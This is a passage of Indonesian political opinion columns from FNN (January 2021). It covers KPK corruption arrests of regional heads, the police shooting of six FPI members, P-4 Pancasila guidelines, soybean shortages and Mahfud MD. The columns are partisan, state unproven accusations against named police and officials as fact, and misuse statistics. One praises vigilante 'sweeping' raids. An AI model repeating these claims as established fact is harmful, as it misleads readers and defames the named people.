pertamakalinya kalimat syahadat diajarkan. Sahabat menegaskan dan membuktikannya pada kita lewat kisah-kisah mereka. Jadi bila masa sekarang ada yang menganggap putih lebih baik dari hitam, itulah jahiliyyah. Itulah munafik sejati, menuduh orang-orang yang baik sebagai intoleran, sesungguhnya dia sendiri yang intoleran. Mereka merusak sementara mereka mencoba mengelabui manusia dengan berkata "Kami memperbaiki". Allahummaghfirlana. Berlainannya warna kulit, untuk mengenal dan mencintai. Allah yang mencipta semua, lalu apa hak kita untuk merasa yang berkulit hitam itu lebih jelek? Bahkan hingga 2021, jahiliyah itu tetap belum berevolusi. Penulis adalah Ustadz dan Penceramah.

Ini Daftar Koruptor Kepala Daerah Era Presiden Jokowi

by Asyari Usman Medan, FNN - Selasa (05/01). Korupsi besar dana bansos yang dilakukan Juliari Batubara, mantan menteri sosial (PDIP), menambah panjang daftar elit koruptor di era Jokowi. Di masa pemerintahan Jokowi-lah terbanyak jumlah pejabat yang tertangkap menilap uang rakyat. Supaya tulisan ini tidak terlalu panjang, langsung saja kita urut para kepala daerah koruptor yang terjaring operasi tangkap tangan (OTT) KPK. (1)-Ojang Suhandi, bupati Subang (PDIP), kena OTT KPK pada 11 April 2016; (2)-Yon Antor Ferdian, bupati Banyuasin (Golkar), OTT 4 September 2016; (3)-Atty Suharti Tochija, bupati Cimahi (Golkar), OTT 1 Desember 2016; (4)-Sri Hartini, bupati Klaten (PDIP), kena OTT 30 Desember 2016; (5)-Ridwan Mukti, gubernur Bengkulu (Golkar), kena OTT 20 Juni 2017; (6)-Achmad Syafii, bupati Pamekasan (PD), kena OTT 2 Agustus 2017; (7)-Siti Mashita Soeparno, walikota Tegal (NasDem), OTT 29 Agustus 2017; (8)-OK Arya Zulkarnaen, bupatu Batubara (Golkar), OTT 13 September 2017; (9)-Eddy Rumpoko, bupati Batu Malang (PDIP), kena OTT 16 September 2017; (10)-T Imam Ariyadi, walikota Cilegon (Golkar), OTT 22 September 2017; (11)-Taufiqurrahman, bupati Nganjuk (PDIP), kena OTT 25 Oktober 2017; (12)-Abdul Latif, bupati Hulu Sungai Tengah (Berkarya), OTT 4 April 2018; (13)-Nyono Suharli W, bupati Jombang (Golkar), OTT 3 Februari 2018; (14)-Marianus Sae, bupati Ngada NTT (PDIP), kena OTT 11 Februari 2018; (15)-Imas Aryuningsih, bupati Subang (Golkar), OTT 13 Februari 2018; (16)-Mustafa, bupati Lampung Tengah (NasDem), OTT 14 Februari 2018; (17)-Adriatna Dwi Putra, walikota Kediri (PAN), kena OTT 28 Februari 2018; (18)-Abu Bakar, bupati Bandung Barat (PDIP), kena OTT 11 April 2018; (19)-Dirwan Mahmud, bupati Bengkulu Sel (Perindo), OTT 15 Mei 2018; (20)-Agus Faisal Hidayat, bupati Buton Selatan (PDIP), OTT 23 Mei 2018; (21)-Tasdi, bupati Purbalingga (PDIP), kena OTT 4 Juni 2018; (22)-Syahri Mulyo, bupati Tulung Agung (PDIP), kena OTT 8 Juni 2018; (23)-M Samanhudi Anwar, walikota Blitar (PDIP), kena OTT 8 Juni 2018; (24)-Ahmadi, bupati Bener Meriah (Golkar), kena OTT 5 Juli 2018; (25)-Irwandi Yusuf, gubernur Aceh (Partai Aceh), OTT 5 Juli 2018; (26)-Pangonal Harahap, bupati Labuhan Batu (PDIP), OTT 17 Juli 2018; (27)-Zainuddin Hasan, bupati Lampung Tengah (PAN), OTT 26 Juni 2018; (28)-Setiyono, walikota Pasuruan (Golkar), kena OTT 4 Oktober 2018; (29)-Neneng Hassanah Yasin, bupati Bekasih (Golkar), OTT 15 Oktober 2018; (30)-Sanjaya Purwadi, bupati Cirebon (PDIP), kena OTT 24 Oktober 2018; (31)-Remigo Berutu, bupati Pakpak Bharat (PD) , OTT 18 November 2018; (32)-Ivan Rivano Muchtar, bupati Cianjur (NasDem), OTT 12 Desember 2018; (33)-Khamami, bupati Mesuji (NasDem), OTT 23 Januari 2019; (34)-Sri Wahyuni Monalip, bupati Talaud (Hanura), OTT 30 April 2019; (35)-Nurdin Basirun, gubernur Kepri (NasDem), OTT 10 Juli 2019; (36)-Muhammad Tamzil, bupati Kudus (non-partai), OTT 26 Juli 2019; (37)-Ahmad Yani, bupati Muara Enim (PD), kena OTT 2 Agustus 2019; (38)-Saiful Ilah, bupati Sidoarjo dari PKB, OTT 7 Januari 2020; (39)-Ismunandar, bupati Kutai Timur (NasDem), OTT 2 Juli 2020; (40)-Wenny Bukamo, bupati Banggai Laut (PDIP), OTT 3 Desember 2020; (41)-Ajay M Priatna, walikota Cimahi (PDIP), OTT 27 November 2020. Jadi, ada 41 kepala daerah (gubernur, bupati, walikota) yang kena OTT KPK sepanjang 2016 sampai 2020. Lumayan memalukan bagi yang punya rasa malu. Nah, bagaimana cara Anda membuat kesimpulan dari fakta ini? Kesimpulan yang terbaik adalah bahwa para pejabat yang terjaring OTT KPK ini sebagian besar berasal dari partai-partai yang berkoalisi dengan Presiden Jokowi. Tentunya bisa saja Anda rumuskan berbagai kesimpulan lain. Misalnya, pimpinan partai yang mengatakan bahwa dia sudah bolak-balik menasihati agar kadernya tidak korupsi, ternyata kader partai itulah yang paling banyak tertangkap korupsi. Para senior PDIP mengatakan ketua umum mereka sering mengingatkan agar kader tidak korupsi. Dari 41 kepala daerah yang kena OTT selama 6 tahun pemerintahan Jokowi, 14 orang berasal dari PDIP. Berdasarkan fakta ini, maka kesimpulan berikutnya yang juga ‘valid’ adalah “atlet PDIP paling banyak merebut medali”. Itu kalau kita ibaratkan korupsi seperti kompetisi. Terus, kesimpulan apa lagi? Kalau metode sampling penelitian atau survei dipinjam untuk menafsirkan angka-angka di atas, maka sangat wajar untuk disimpulkan bahwa kemungkinan besar banyak kader PDIP yang melakukan korupsi tapi tidak terdeteksi. Dasarnya? Kita lihat 34% kepala daerah yang kena OTT selama 6 tahun ini adalah kader PDIP (14 dari 41). Dengan demikian, probabilitas (kemungkinan) korupsi kader PDIP mencapai 34:100. Ini ‘corruption rate’ yang sangat tinggi.[] Penulis adalah Waratwan Senior FNN.co.id.

Ketika Jenazah 6 Laskar FPI Bicara (5)

by Mochamad Toha Surabaya, FNN - Selasa (05/01). Apapun alasannya, penutupan Rest Area KM 50 Tol Jakarta-Cikampek atas perintah Badan Pengatur Jalan Tol (BPJT) melalui suratnya pada 20 Maret 2020, jelas dapat diidikasikan "perbuatan melawan hukum". Pasalnya, Rest Area KM 50 ini bagian dari TKP penyergapan 6 laskar FPI. PT Jasa Marga resmi menutup atau merelokasi Rest Area (tempat istirahat) KM 50 ruas Tol Japek. Alasannya, relokasi itu dalam rangka menjaga kelancaran pada pertemuan lalu-lintas kendaraan dari ruas Tol Japek Elevated dengan Ruas Tol Japek (jalur bawah). ”Mulai kemarin (Senin) Rest Area KM 50 kami relokasi,” kata Dwimawan Heru, Corporate Communication & Community Development Group Head Jasa Marga, Selasa (22/12/2020). Menurutnya, relokasi itu dilakukan secara permanen arah Cikampek di ruas Tol Japek. Penambahan lajur dan penutupan rest area itu dalam rangka kelancaran pada pertemuan lalu lintas dari Tol Japek Elevated dan Tol Japek (jalur bawah) di KM 48 sampai dengan KM 50 ini adalah instruksi dari BPJT. Bahkan, lanjutnya, ini sejalan dengan arahan Korlantas Polri yang telah terbit sejak jauh hari, yaitu pada sekitar Triwulan I 2020, seluruh tenant-tenant yang berada pada tempat istirahat (TI) KM 50 A akan direlokasi ke TI KM 71B. Untuk menampung tenant ex TI KM 50, Jasa Marga memperluas bangunan rest area di KM 71 sehingga tenant-tenant dari TI 50 dapat melanjutkan kegiatan usahanya di bangunan baru yang ada di TI KM 71. Yang dilakukan Jasa Marga itu dapat diindikasikan sebagai “perbuatan melawan hukum”, karena TKP KM 50 itu termasuk “barang/alat bukti” adanya tindak pidana. Bagaimana KM 50 bisa menjadi saksi atas penembakan laskar FPI jika sudah tidak ada lagi. Tidak seharusnya Rest Area KM 50 itu ditutup permanen sebelum proses hukum atas kasus penembakan 6 laskar FPI yang terjadi pada Senin (7/12/2020) dini hari itu selesai disidang di pengadilan. Komnas HAM seharusnya dan wajib mempertanyakan soal ini kepada Jasa Marga. Misteri KM 50 Sejauh ini pihak polisi tidak bisa menjelaskan ke mana 4 korban yang masih hidup dibawa, setelah dua orang ditembak di TKP KM 50. Dan apa saja yang mereka perbuat terhadap laskar FPI pengawal HRS itu. Ini harus diadakan investigasi oleh pihak terkait, terutama Komnas HAM. Tentunya, polisi yang mengeksekusi korban harus lebih dahulu dilakukan upaya hukum dan proses penahanan jika memang hukum mesti ditegakkan tanpa pandang bulu. Mengingat hal ini bukan perkara kriminal biasa. Tapi, pelanggaran HAM berat. Silakan polisi yang terlibat membawa 4 korban itu menujukkan lokasi tempat menembak korban yang jelas-jelas bukan lagi melumpuhkan, tetapi “pembantaian” jika ingin bicara kebenaran. Menurut Polda Metro Jaya, dari enam orang yang tewas ditembak masih ada 4 lagi laskar FPI pengawal HRS yang melarikan diri. Padahal dalam mobil Chevrolet B 2152 TBN itu hanya berisi 6 orang. Apakah mungkin Chevrolet itu berisi 10 orang? Perlu diketahui bahwa laskar FPI pengawal HRS itu ada 24 orang dalam 4 mobil. Masing masing Mobil berisi 6 orang. Selain 6 laskar di Chevrolet B 2152 TBN, semuanya pulang dalam keadaan selamat. Karena memang beda kendarraan. Dari mana polisi mengatakan, masih ada 4 orang lagi melarikan diri, sedang penumpang hanya 6 orang dan semua tewas? Ini terkesan polisi sedang membuat semacam trik alibi pada media, sebab tidak sesuai dengan jumlah penumpang dan jumlah rombongan pengawal HRS. Polisi sebelumnya juga menunjukkan dua senjata api sebagai barang bukti. Senjata api itu disebut digunakan oleh laskar khusus untuk menyerang anggota polisi ketika melakukan pengintaian terhadap rombongan HRS. Bahkan, polisi menyebut laskar khusus pengawal Rizieq sempat melesatkan tembakan 3 kali hingga mengenai mobil anggota polisi. “Asli ini (senjata api) ada tiga yang sudah ditembakan. Hasil awal kelompok yang menyerang ini diidentifikasi adalah laskar khusus yang selama ini menghalang-halangi penyidikan,” kata Kapolda Metro Jaya Irjen Polisi Fadil Imran. Jika berasumsi telah ada 3 peluru yang ditembakan maka di mana laskar FPI itu menembak polisi, sedangkan di TKP hanya terjadi 2 tembakan dan korban tewas? Semua barang bukti yang ditunjukan oleh Polda Metro Jaya sepertinya itu sengaja diadakan. Sebab, seperti yang telah dijelaskan oleh Edy Mulyadi bahwa tidak ada tembakan apapun di TKP KM 50 selain 2 tembakan saja dan itu didengar oleh saksi-saksi. Bahkan, ada saksi yang sangat dekat dengan pristiwa itu sehingga hal ini menjadi sanggahan bagi polisi yang mengatakan telah terjadi tembak-menembak di TKP KM 50. Misalnya, korban membawa pistol dan lebih dulu menembak, maka tentunya di TKP dengan banyaknya polisi di situ akan jatuh korban dari polisi juga, sehingga akan ada aksi tembak-menembak yang ramai dan semua orang yang diusir polisi dari lokasi tentu akan mendengar. Namun, kenyataan itu tidak terjadi. Yang ada adalah banyaknya tembakan polisi ke tubuh 4 korban dan eksekusi mati itu terjadi di tempat lain. Dengan dasar itu tidak mungkin di tempat lain (Lokasi X) 4 korban membawa senjata, karena saat dibawa dari KM 50 mereka digelandang dengan tangan kosong. Pertanyaanya, dari mana polisi mengklaim bahwa senjata itu dari laskar FPI yang mereka tembak? Sebagaimana hasil analisa pihak FPI dan keluarga korban bahwa para korban ditembak cukup banyak lebih dari 1 peluru di masing-masing tubuh korban. Maka, muncul pertanyaan, di mana polisi menembak mereka. Sedangkan di TKP KM 50 tidak terjadi demikian? Bagaimana polisi bisa menjelaskan, mengapa tembakan mereka pada korban hampir semua mengarah ke jantung? Bukankah itu artinya korban sudah tidak berdaya karena nyaris semua korban mengalami luka tembak yang sama dan selebihnya ditembak membabi buta? Melihat penjelasan keluarganya perihal keadaan korban dalam rapat Komisi III DPR jelas sekali, polisi menembak jarak dekat dan itu adalah eksekusi korban, bukan lagi dikatakan bahwa polisi membela diri. Diduga, sebelum ditembak, para korban yang berjumlah 4 orang itu lebih dahulu ditanya banyak hal dengan paksaan dan siksaan untuk menjawab, baru ditembak sedemikian rupa lebih dari beberapa kali untuk memastikan mereka benar-benar telah tewas. Tindakan seperti ini bukan lagi tindakan sesuai SOP Kepolisian, melainkan sudah memenuhi unsur kriminalyang dilakukan polisi sendiri, apalagi dilakukan secara rahasia (Lokasi X). Bukankah dalam prosedur penangkapan itu jika masih hidup mestinya dibawa ke kantor polisi untuk dimintai keterangan dan kemudian ditahan? Mengapa para korban seolah dianggap Teroris kelas kakap, padahal ada banyak kasus teroris yang tertangkap tidak serta merta diekskusi mati tanpa prosedur? (Bersambung) Penulis adalah Wartawan Senior FNN.co.id

Butir- Butir P4, Cerita untuk Anak dan Cucu -1

By Mayjen TNI (Purn.) Prijanto Jakarta, FNN - Selasa (05/01). Strategic Assessment : “Pancasila sebagaimana dimaksud dalam Pembukaan Undang-Undang Dasar 1945 adalah dasar negara dari Negara Kesatuan Republik Indonesia harus dilaksanakan secara konsisten dalam kehidupan bernegara” (Pasal 1, Tap MPR No.XVIII/MPR/1998). Masa pandemi Covid-19 membuat anak-anak belajar secara virtual. Implikasinya, mereka banyak bergaul dengan internet. Anak-anak menjadi luas wawasannya dan cerdas. Banyak materi yang tidak diajarkan oleh guru mereka ketahui, baik berita-berita di dunia maya maupun televisi. Orang tua dan eyang-eyang, banyak waktu ketemu anak dan cucu, bercerita macam-macam. Suatu saat, cucu kelas satu SMP bertanya. “Eyang,…. sekarang kok ada sikap radikal, intoleran dan tindakan semena-mena. Radikal dan intoleran itu kan jelek, ya Eyang. Eyang kakung : “Iya. Jelek banget. Mas Abie tahu dari mana? Jangan ditiru ya”. Cucu, Abie Putro: “Baca di internet. Seperti tidak ada dan tidak dihargainya Hak Azasi Manusia ya Eyang. Tindakan menyiksa dan membunuh seenaknya. KKN merajalela. Padahal, katanya kita punya Pancasila yang disarikan dari budi luhur bangsa? Tapi kok begini? Gimana nih Eyang?” Suka tidak suka, pertanyaan inilah yang mendorong saya menulis artikel ini. Artikel pertama di tahun 2021. Cerita untuk anak dan cucu, generasi yang buta masa lalu. Tentu saya akan cerita sejarah masa lalu. Cerita bagaimana PKI ingin mengganti Pancasila dengan komunisme. Pemberontakan PKI Madiun 1948 dan G.30.S/PKI 1965 bukti yang berbicara. Orde Baru (Orba) berusaha agar Pancasila sebagai pandangan hidup bangsa dan Dasar Negara Republik Indonesia bisa dihayati dan diamalkan untuk menjaga kelestarian dan keampuhannya. Di sisi lain mencegah ideologi lain meracuni pikiran rakyat Indonesia. Ideologi yang sengaja disusupkan ke Indonesia oleh asing, atau nilai-nilai asing yang dibawa orang kita yang belajar atau tinggal lama di Eropa, Amerika, Asia, Australia, Timur Tengah dll. Maka diterbitkanlah Tap MPR tentang Pedoman Penghayatan dan Pengamalan Pancasila (P-4), sebagai penuntun dan pegangan hidup dalam bermasyarakat dan bernegara bagi setiap WNI, penyelenggara Negara, lembaga kenegaraan dan lembaga kemasyarakatan. Satu hal yang penting, P-4 ini bukan tafsir Pancasila dan juga tidak bermaksud menafsirkan Pancasila. ‘Strategic assessment’ di atas tidak bermaksud memakai Tap MPR No. XVIII/MPR/1998 yang sudah memiliki sifat einmalig (final), dan telah dicabut serta selesai dilaksanakan sebagai dasar. Saya hanya ingin bilang kepada anak-anak dan cucu-cucu saya, bahwa ketika mencabut Tap MPR No. II/MPR/1978 tentang P-4, kaum reformis juga menegaskan bahwa: a. Pancasila sebagai Dasar Negara. b. Pancasila yang dimaksud ada di dalam Pembukaan UUD 1945. c. Pancasila harus dilaksanakan secara konsisten dalam bernegara. Hari gini ngomong Pedoman Penghayatan dan Pengamalan Pancasila (P-4) emang terasa aneh. Bagaimana tidak? Barangnya sudah dicabut, dan materi muatannya udah dinyatakan tidak sesuai dengan perkembangan kehidupan bernegara, tetapi masih berani ngomongin. Apa nggak takut mati dicap orang Orba tulen? Memang kalau ngomong P-4, jika ketemu generasi yang sejak awal menentang, pasti adu argumentasi dan bikin kedua belah pihak kupingnya panas. Lain hal, ketemu generasi yang hidupnya bisa memahami dan mengamalkan hasil penataran P-4 atau dari belajar sendiri, tentu akan membahagiakan, nostalgia yang manis. Persoalan lain jika ketemu generasi yang lahir tahun 1998 saat P-4 dicabut, berarti saat ini usia 22 tahun atau mahasiswa. Lahir setelah tahun 1998 atau saat dicabut masih orok atau anak-anak, mereka pasti buta tentang P-4. Sebab sekolah dan media tidak membahas, dan buku pelajaran miskin materi Pancasila atau P-4. Maka sangat mungkin terjadi adanya pertanyaan seperti cucu saya di atas. Karena P-4 secara politis sudah dicabut, maka 36 (tiga puluh enam) atau 45 (empat puluh lima) butir P-4 untuk saat ini tidak mungkin disosialisasikan lagi sebagai P-4. Namun, jika anak-anak dan cucu-cucuku bingung mencari pegangan hidup, eyang akan nunjukin; tuh, baca saja ketiga puluh enam atau keempat puluh lima butir P-4. Eyang tidak akan bilang, dan kalian juga tidak perlu bilang sedang membaca dan mempelajari butir-butir pedoman penghayatan dan pengamalan Pancasila. Sebab P-4 itu sudah dicabut. Eyang hanya bilang; jika kamu butuh pegangan hidup agar hidupmu tenang dan pengabdianmu kepada bangsa dan negara lurus, bacalah butir-butir tersebut sebagai ‘petuah’ atau ‘tuntunan’ dan laksanakan. Eyang berpendapat, dalam bahasa Jawanya, butir-butir itu sebagai “Pitutur kanggo lakuning urip” . Dalam bahasa Indonesia “Petuah untuk jalannya hidup”. Kalian mau nambahi sesuai dengan norma budaya yang hidup di masyarakat dan belum tercantum di dalam butir-butir tersebut, ya tidak masalah. Silakan saja. Bila anak-anak dan cucu-cucuku paham dan melaksanakannya, apakah nantinya sebagai pejabat atau bukan, niscaya kalian akan menjadi sosok yang berperilaku baik. Jika kalian menjadi pejabat, tentu tidak akan KKN karena kalian memegang kejujuran dan keadilan. Kalian menjadi orang yang tidak sombong dan tidak semena-mena walau sedang berkuasa. Mengamalkan pitutur tersebut, kalian akan menghormati dan saling mencintai sesama manusia tanpa memandang status sosial. Kalian akan jauh dari perilaku kejam, sadis, seenaknya menyiksa, membunuh, radikal dan intoleran. Kalian akan menyukai segala sesuatu untuk dikomunikasikan dan dimusyawarahkan demi persatuan. Anak-anakku dan cucu-cucuku, bila ingin tahu seperti apa ‘pitutur’ tersebut, kalian bisa baca di artikel lanjutan : “Butir-Butir Pedoman Penghayatan dan Pengamalan Pancasila; Cerita Untuk Anak dan Cucuku ke-2”. Selamat membaca, berkontemplasi, berpikir, bekerja dan berkarya untuk bangsa dan negara. Semoga Tuhan Yang Maha Esa selalu memberikan rahmat dan hidayah kepada kalian. Insya Allah, Aamiin. [Bersambung] Penulis adalah Aster KASAD 2006-2007

Kalau Presiden Perintahkan FPI Sweeping Mafia Kedelai?

Jakarta FNN – Selasa (05/01). Hari ini emak-emak mulai lega karena tempe dan tahu muncul lagi di pasaran. Bagi mayoritas rakyat Indonesia, dua jenis lauk-pauk pendamping makanan pokok ini nilainya sangat vital. Makan nasi tanpa tahu dan tempe rasanya jadi hambar. Tempe dan tahu inilah yang dirasakan masyarakat dalam tiga hari terakhir karena produsen tempe dan tahu melakukan pemogokan nasional. Pemogokan akibat pemerintah gagal menekan meroketnya kenaikan harga kedelai. Padahal kedelai sebagai bahan baku pembuatan tempe dan tahu. Menurut obrolan emak-emak dan pedagang di pasar becek, hilangnya tempe dan tahu di pasaran disebabkan para pejabat pemerintah terlena nonton sinetron “Jalinan Cinta”. Sinetron yang sedang booming akhir-akhir ini. Ada juga yang nyeletuk kisruh seputar tempe dan tahu ini akibat pemerintah terlalu sibuk membikin sinetron “radikal-radikul-radikel-radikil” yang pemeran utamanya adalah Hendroriyono. Itu cuma obrolan rakyat awam lho. Fakta sebenarnya setelah lebih enam tahun berkuasa, Presiden Jokowi telah gagal memenuhi janji-janji kampanye dulu. Janji Jokowi untuk mewujudkan swasembada pangan. Sekarang mari kita gali lagi satu dari sekian banyak janjinya enam tahun yang lalu. "Saya sudah beri target Menteri Pertanian tiga tahun. Tidak boleh lebih. Hati-hati, tiga tahun belum swasembada, saya ganti menterinya". Begitu kata Jokowi saat memberi kuliah umum di Kampus Universitas Gadjah Mada Yogyakarta, 9 Desember 2014. Waktu itu Jokowi menyebut secara rinci. Swasembada pangan yang dimaksud mencakup empat komoditas, yaitu beras, gula, jagung, dan kedelai. Sebagai langkah awal, Jokowi targetkan pembangunan 30 bendungan untuk penyediaan irigasi lahan pertanian. Selain itu, Jokowi bertekad menekan impor pangan. Menurut Jokowi, impor bahan pangan selama ini disebabkan ada kepentingan oknum tertentu. "Semua masih seneng impor karena banyak yang mengambil rente di sini (impor)," katanya waktu itu. Faktanya, sampai hari ini empat komoditas yang ditargetkan swasembada pada tahun 2017 itu masih diimpor. Sekarang, ada yang membangun alibi penyebab hilangnya tempe dan tahu di pasaran kemarin akibat harga pasaran kedelai internasional melambung tinggi. Ada lagi yang bilang akibat Cina memborong kedelai dari Amerika Serikat. Itu sama artinya dengan penegasan kedelai masih diimpor. Mungkin besok ada lagi yang membangun opini bahwa pandemik covid-19 sekarang ini membuat pemerintah gagal memenuhi swasembada pangan. Padahal masalah sebenarnya bukan itu. Pertanyaan rakyat, ngapain saja pemerintahan Jokowi selama enam tahun ini? Ingat loh, enam tahun lalu kalian sudah mencanangkan swasembada beras, gula, jagung, termasuk kedelai pada tahun 2017. Jadi, alasan apapun yang dikemukan, apalagi mengaitkan dengan konteks situasi krisis ekonomi dunia hari ini sudah sangat basi. Karena swasembada keempat bahan makanan pokok rakyat itu seharusnya sudah tercapai tahun 2017. Sedangkan pandemik Covid-19 baru datang Februari-Maret 2020. Baiklah, sekarang sekali lagi kita maafkan kegagalan tersebut. Lantas apa yang seharusnya dilakukan pemerintah untuk mengejar kegagalan swasembada pangan ke depan? Sebetulnya langkah yang ditetapkan Jokowi enam tahun yang lalu sudah benar. Pertama, bangun waduk untuk irigasi pertanian. Progresnya tinggal dipercepat ,dan harus ada goodwill prioritas anggaran. Kedua, memberantas “import minded” yang tentunya melibatkan pejabat dan pengusaha. Nah langkah ini yang belum terlihat sama sekali. Jadi langkah yang kedua ini harus digeber sekarang juga oleh Pak Jokowi. Sampai hari ini, sektor pengadaan pangan nasional masih dikuasai mafia. Jadi tidak heran dari hari ke hari emak-emak dan suaminya pusing mengatur keuangan rumah tangganya untuk menyiapkan makanan anak-anaknya di rumah. Modus mafia pangan ini sudah terbaca dari dulu, yaitu dengan menarik rente impor yang tinggi dan penimbunan barang. Operasi pemberantasan penimbunan beras ini prnah dilakukan Kapolri Tito Karnavian beberapa waktu lalu. Sejak itu suplai beras stabil sampai sekarang. Kenapa hal ini tidak dilakukan terhadap penimbum kedelai di eranya Kapolri Jendral Idham Azis yang sebenatr lagi pensiun? Sementara ini kita memang mustahil serta-merta bisa menghapus kebijakan impor berbagai komoditas pangan. Karena kebijakan ini pasti akan dibalas negara lain dengan menolak masuk komoditas kita. Tetapi sambil mengejar kemandirian pangan, termasuk sandang dan pangan yang entah kapan bisa terwujud, paling tidak modus penimbunan barang inilah yang bisa dilakukan sekarang juga. Penimbunan kedelai pasti ada. Buktinya, tempe dan tahu bisa seketika mereka hilangkan dari dipasaran selama tiga hari. Setelah itu mereka munculkan lagi di pasaran seketika. Motifnya sudah tentu barang sengaja ditimbun di suatu gudang dan tidak dilepas ke produsen tempe dan tahu sampai pemerintah menyesuaikan harga jual kedelai sesuai kalkulasi keuntungan yang mereka harapkan. Kemarin kita lihat aparat keamanan nampak sigap sekali mencopoti spanduk Front Pembela Islam (FPI). Bahkan sempat-sempatnya melancarkan operasi spektakuler penyergapan rombongan pengawal Habib Rizieq Shihab di kilometer 50 jalan tol Jakarta-Cikampek. Penyergapan yang berakhir sadis dengan ditempaknya enam anggota Laskar FPI oleh anggota Polda Metro Jaya. Sayangnya, sejauh ini tidak nampak inisiatif dan kesigapan aparat mereka untuk membantu Presiden Jokowi, dengan menyergap para penimbun bahan pangan yang jelas-jelas merugikan seluruh rakyat. Jadi, ada baiknya Presiden Jokowi mulai berpikir out of the box. Misalnya, mengangkat Habib Rizieq jadi Komandan Satgas Penumpasan Mafia Pangan. Habib Rizieq dengan FPI-nya sebetulnya punya energi besar untuk menumpas segala kemaksiatan di negeri ini. Selama ini FPI terbukti efektif menekan maraknya peredaran minuman keras, praktik prostitusi dan perjudian. Metode-metode sweeping dan konfrontasi yang mereka lancarkan terhadap preman-preman dan backing-backing segala jenis kemaksiatan terbukti menimbulkan simpati luar biasa dari masyarakat Indonesia yang mayoritas ber-Tuhan. Dalam doktrin kamtibmas maupun doktrin pertahanan semesta, FPI sesungguhnya modal sosial yang harus dimanfaatkan oleh setiap rezim yang sungguh-sungguh ingin menegakan hukum dan kedaulatan nasional. Operasi pemberantasan FPI sekarang ini sesungguhnya hanya menyenangkan geng-geng mafia yang ingin mempertahankan status quo, termasuk mafia kedelai. Mereka itulah yang ini menyutradarai sinetron “intoleran- radikal-radikul-radikel-radikil” sebenarnya hanya untuk menyesatkan fokus rakyat Indonesia menuju kemandirian bangsa. Menuju swasembada pangan. Nah, kalau FPI yang sweeping mafia kedelai, kemungkinan kedelai bakal membanjiri pasar lagi. Tempe-tahu bakal mudah didapat lagi di Warung Tegal (Warteg).

Dosa Politik Mahfud MD

by M Rizal Fadillah Bandung FNN – Selasa (05/01). Andai direnungkan lebih dalam, maka pak Mahfud MD ternyata menjadi menteri yang paling sering bikin gaduh di masa jabatan kedua Pemerintah Jokowi. Kegaduhan ini di luar dugaan. Karena sang guru besar itu dikenal bukan orang yang radikal. Ada dua pernyataan yang pernah dikemukakan Mahfud MD yang dianggap radikal tersebut. Pertama, "pejabat yang sudah tidak dipercaya rakyat, sebaiknya mundur. Jangan tunggu sampai dimurkan”. Kedua, "malaikat sekalpun jika masuk sistem di Indonesia dapat berubah menjadi Iblis". Pada 10 Desember 2019 Prof. Mahfud MD menyatakan bahwa sejak reformasi 1998 tidak ada kejahatan Hak Asasi Manusia (HAM). Banyak yang mengkritisi pernyataan ini. Sebab baru saja di bulan Mei pasca Piilpres 2019 sebanyak enam atau bahkan sembilan orang dinyatakan tewas dan teraniaya oleh aparat Kepolisian yang menangani unjuk rasa di depan kantor Pusat Bawaslu. Demikian juga soal Papua yang menurut laporan Amnesti Internasional, telah terjadi 69 kasus pembunuhan "unlawful killings". Bahkan sepanjang 2010 hingga 2018, tercatat 95 orang meninggal dunia. Sebagian besar dari mereka yang meninggal dunia akibat tindakan aparat keamanan. Meski Mahfud MD menyebut laporan Amnesti Internaional tersebut sebagai laporan sampah. Tetapi faktanya sekarang Papua telah menjadi masalah serius bagi bangsa Indonesia. Benny Wenda bahkan telah mengumumkan kemerdekaan Papua di Inggris. Bahkan Benny juga mengumkan dirinya sebagai Presiden sementara Papua Barat. Menghadapi Pandemi Covid 19 Mahfud MD bulan April 2020 lalu mengancam pemudik. Sampai-sampai jama'ah shalat tarawih untuk dapat dikenakan sanksi pidana karena dianggap melawan Pemerintah. Dengan menyentuh masalah sensitif keagamaan seperti ini Mahfud MD dinilai "off side". Masa mudik dan tarawih dianggap kriminal juga? Masyarakat khususnya umat Islam menolak keras proses penetapan Rancangan Undang-Undang (RUU) Haluan Ideologi Pancasila (HIP). Karena RUU ini disamping merongrong ideologi Pancasila, juga dinilai berbau Orde Lama. Bahkan memberi peluang bangkitnya kembali faham Komunis di Indonesia. Tak lama setelah proter yang ramai itu, Mahfud MD yang mewakili Pemerintah mengajukan RUU Badan Pembinaan Ideologi Pancasila (BPIP) "bodong" untuk meredam aksi. Buktinya RUU BPIP tidak menjadi agenda dalam pembahasan di DPR. Dewan sendiri bandel juga. Tetap mejadikan RUU HIP sebagai agenda prioritas Prolegnas tahun 2021. Terakhir, Pak Mahfud membacakan SKB pembubaran dan pelarangan Front Pembela Islam (FPI) sebagai suatu keputusan yang menginjak-injak hukum. Menzalimi FPI dengan menahan Habib Rizieq Shihab (HRS). Setelah itu, mengganggu aset pesantren, memblokir rekening, serta membantai 6 anggota Laskar FPI yang hingga kini masih dalam proses penyelidikan Komnas HAM. Sebagai Menkopolhukam. Prof Mahfud MD seyogyanya diharapkan mampu menjadi pengendali keamanan negara. Bukan sebagai pencipta kegaduhan politik dalam negara. Tampil paling depan untuk menjaga wibawa hukum, dan menegakkan keadilan. Tidak terlibat dalam melakukan perekayasaan hukum untuk kepentingan politik jangka pendek. Mereferensi pandangan bijak seorang negarawan moralis, bahwa apabila seorag pejabat sudah merasa tidak dipercaya oleh rakyat seharusnya mundur, maka berdasarkan Ketetapan MPR No VI tahun 2001 tentang Etika Berbangsa, sebaiknya Menkopolhukam Mahfud MD segera mengundurkan diri. Itu sebagai langkah yang lebih bermartabat dan mengagungkan. Pak Mahfud MD lebih baik menjadi Pakar Hukum Tata Negara saja. Atau menjadi cendekiawan muslim. Bisa menjadi mubaligh yang selalu memberi pencerahan di mimbar, daripada menjadi pejabat negara. Bergaul dengan Malaikat itu lebih membuka pintu bagi keselamatan dan keberkahan. Ruangan yang paling cocok untuk pak Mahfud MD bukan di Pemerintahan. Banyak sekali gangguan yang mengharuskan Pak Mahfydz untuk selalu berlindung dari segala godaan syaetan yang terkutuk. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menyoal Peran Pemimpin Tertinggi NKRI Terkait Pembubaran FPI

